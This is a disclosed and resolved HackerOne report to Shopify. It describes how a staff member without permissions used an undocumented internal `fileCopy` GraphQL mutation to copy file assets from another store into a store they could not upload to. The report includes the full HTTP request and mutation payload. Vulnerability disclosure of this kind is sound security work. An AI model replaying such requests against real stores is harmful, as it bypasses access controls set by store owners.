Undocumented `fileCopy` GraphQL API

Disclosed: 2020-10-22 18:43:38 By ash_nz To shopify
Medium
Vulnerability Details
## Impact A malicious staff account with no permissions can copy other store file assets to current store, which they have no access to. ## Details So the story as follow A malicious staff member (jack_mccracken) on storeA.myshopify.com wants to upload a file on the store but could not, due to permissions restrictions. So jack_mccracken decided to find a way to bypass the restriction so he created a new store called `storeB.myshopify.com` and uploaded a file on storeB. jack_mccracken is a skilled attacker he found an undocumented GraphQL API called `fileCopy`, he used this API to try to copy a file from his store `StorB` to `StoreA` (where he is a staff member). He login into StoreA (as staff member) and send the following request: ```http POST /admin/internal/web/graphql/core HTTP/1.1 Cookie: [REDACTED] accept: application/json X-CSRF-Token: [REDACTED] Content-Type: application/json User-Agent: PostmanRuntime/7.26.5 Postman-Token: a02c5039-29f0-4280-9084-cfe12703ff60 Host: storeA.myshopify.com Accept-Encoding: gzip, deflate Connection: close Content-Length: 485 {"query":"\r\nmutation fileCopy ($key:String!,$absoluteKey:String!,$path:String!){fileCopy (key:$key,path:$path,absoluteKey:$absoluteKey) {\r\nfile{\r\n \r\n path\r\n}\r\n userErrors {\r\n field\r\n message\r\n}\r\n }\r\n}","variables":{ "absoluteKey": "s/files/1/d/0864/0471/6006/6199/files/1.jpg", "key": "files/1.jpg", "path": "https://cdn.shopify.com/s/files/1/0471/6006/6199/files/1.jpg?6" } } ``` the variables `absoluteKey` `key` and `path`values are the values of the file he uploaded in his store `storeB` THE END ## Impact A malicious staff account with no permissions can copy other store file assets to current store, which they have no access to.
Actions
View on HackerOne
Report Stats
  • Report ID: 981472
  • State: Closed
  • Substate: resolved
  • Upvotes: 141
Share this report